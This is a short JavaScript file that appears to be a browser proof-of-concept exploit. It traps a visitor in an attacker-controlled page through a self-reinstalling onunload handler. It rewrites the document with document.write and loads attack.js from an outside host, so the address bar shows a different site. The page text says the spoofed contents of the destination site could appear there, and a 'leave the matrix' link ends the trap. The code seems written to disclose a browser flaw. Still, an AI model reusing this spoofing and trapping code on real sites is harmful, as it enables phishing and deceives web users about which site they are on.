var noentrap = 0;

function entrapment(entcount) {
  if (noentrap) return true;
  entcount++;
  document.open();
  document.write('<html><body onunload="entrapment(' + entcount + ')">' + 
                 '<scr' + 'ipt src="http://lcamtuf.coredump.cx/ietrap/attack.js"></scr' + 'ipt>' +
                 '<font face="arial">' + 
                 '<h1><font color="teal">You are trapped in a wormhole (site ' + entcount + ')</font><hr></h1><p>' +
                 'Note that the address bar indicates a successful departure from my webserver.<br>' +
                 'Spoofed contents of your destination site could be displayed here instead.<p>' +
                 '<font color="gray">All work and no play makes Jack a dull boy<br>' + 
                 '<i>All work and no play makes Jack a dull boy</i><br>' + 
                 'All work and no play m<u>akes Jack a dull bo</u>y<br>' + 
                 'aLL WORK AND NO PLAY MAKES jACK A DULL BOY</font><p><b>' + 
                 '<span id="trapped"><a href="#" onclick="freedom()">Click here to leave the matrix.</a></span><br>' +
                 '<font color="red"><span id="free" style="visibility: hidden">You are free now.</span>');

  document.close();

}


function freedom() {
  noentrap = 1;
  document.getElementById('trapped').style.visibility = 'hidden';
  document.getElementById('free').style.visibility = 'visible';
}


